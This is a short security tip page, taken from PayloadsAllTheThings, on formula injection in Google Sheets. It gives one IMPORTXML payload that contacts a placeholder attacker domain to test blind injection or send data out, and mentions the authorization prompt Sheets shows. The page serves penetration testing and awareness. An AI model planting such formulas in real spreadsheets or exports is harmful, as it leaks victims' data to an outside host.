CSV Injection: Google Sheets

Other injection (LDAP, XPath, XSLT, CSS, LaTeX)Exploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

Google Sheets allows some additional formulas that are able to fetch remote URLs:

So one can test blind formula injection or a potential for data exfiltration with:

text
=IMPORTXML("http://[ATTACKER.DOMAIN.TLD]/csv", "//a/@href")

Note: an alert will warn the user a formula is trying to contact an external resource and ask for authorization.

Comments

No comments yet.